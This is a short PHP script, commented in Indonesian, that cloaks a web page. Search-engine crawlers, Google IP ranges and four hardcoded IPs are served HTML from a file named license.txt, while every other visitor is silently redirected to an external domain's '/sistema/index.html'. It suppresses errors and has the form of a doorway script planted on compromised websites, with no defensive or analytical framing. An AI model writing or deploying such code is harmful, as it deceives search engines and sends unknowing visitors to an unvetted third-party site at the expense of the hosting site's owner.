<?php
error_reporting(0);

// Ambil User-Agent dan IP pengunjung
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$visitor_ip = $_SERVER["HTTP_CF_CONNECTING_IP"] ??
              $_SERVER["HTTP_INCAP_CLIENT_IP"] ??
              $_SERVER["HTTP_TRUE_CLIENT_IP"] ??
              $_SERVER["HTTP_REMOTEIP"] ??
              $_SERVER["HTTP_X_REAL_IP"] ??
              $_SERVER["REMOTE_ADDR"];

// Fungsi untuk cek apakah IP ada dalam rentang CIDR
function ip_in_range($ip, $range) {
    list($subnet, $bits) = explode('/', $range);
    $ip_dec = ip2long($ip);
    $subnet_dec = ip2long($subnet);
    $mask = -1 << (32 - $bits);
    $subnet_dec &= $mask;
    return ($ip_dec & $mask) === $subnet_dec;
}

// Muat cache IP Google jika tersedia
$google_ip_ranges = [];
$cache_file = __DIR__ . '/google_ip_cache.json';
if (file_exists($cache_file)) {
    $goog_data = json_decode(file_get_contents($cache_file), true);
    if (isset($goog_data['prefixes'])) {
        foreach ($goog_data['prefixes'] as $item) {
            if (isset($item['ipv4Prefix'])) {
                $google_ip_ranges[] = $item['ipv4Prefix'];
            }
        }
    }
}

// Cek apakah IP milik Google
$googleallow = false;
foreach ($google_ip_ranges as $range) {
    if (ip_in_range($visitor_ip, $range)) {
        $googleallow = true;
        break;
    }
}

// Deteksi bot dari User-Agent
function isBot($ua) {
    $bots = ['googlebot', 'bingbot', 'facebook', 'twitterbot', 'pinterest', 'semrushbot', 'linkedin', 'yahoodirect', 'zeus', 'ahrefs', 'mj12bot', 'baiduspider', 'yandex'];
    foreach ($bots as $bot) {
        if (stripos($ua, $bot) !== false) {
            return true;
        }
    }
    return false;
}

// IP yang diizinkan secara eksplisit
$alow = ['85.92.66.150', '81.19.188.236', '81.19.188.235', '85.92.66.149'];

// Redirect jika bot atau Google atau IP yang diizinkan
if ((isBot($ua) || stripos($ua, 'google') !== false || $googleallow || in_array($visitor_ip, $alow)) && !isset($_GET['go'])) {
    header("Content-Type: text/html; charset=UTF-8");
    include __DIR__ . "/license.txt"; // pastikan file ini berisi HTML valid
    exit;
}

// Redirect user manusia biasa ke sistem utama
header("Location: https://avilagoiania.kaltekgoiania.com.br/sistema/index.html");
exit;
?>
